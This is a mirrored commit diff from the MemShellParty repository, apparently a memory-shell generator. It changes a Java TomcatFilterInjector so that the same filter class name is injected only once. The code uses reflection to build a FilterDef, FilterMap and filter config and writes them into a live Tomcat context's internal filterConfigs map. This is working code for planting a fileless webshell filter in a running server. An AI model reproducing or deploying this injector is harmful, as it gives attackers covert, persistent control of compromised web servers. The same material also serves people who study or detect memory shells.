mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
fix: same classname inject just once
This commit is contained in:
+4
-5
@@ -207,13 +207,12 @@ public class TomcatFilterInjector {
|
|||||||
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
|
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
|
||||||
ClassLoader catalinaLoader = getCatalinaLoader();
|
ClassLoader catalinaLoader = getCatalinaLoader();
|
||||||
String filterClassName = getClassName();
|
String filterClassName = getClassName();
|
||||||
String filterName = filter.getClass().getSimpleName();
|
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
|
||||||
// 防止重复注入
|
// 防止重复注入
|
||||||
try {
|
try {
|
||||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
|
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
@@ -235,10 +234,10 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
|
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
|
||||||
Constructor<?>[] constructors;
|
Constructor<?>[] constructors;
|
||||||
try {
|
try {
|
||||||
@@ -259,7 +258,7 @@ public class TomcatFilterInjector {
|
|||||||
constructors[0].setAccessible(true);
|
constructors[0].setAccessible(true);
|
||||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||||
filterConfigs.put(filterName, filterConfig);
|
filterConfigs.put(filterClassName, filterConfig);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user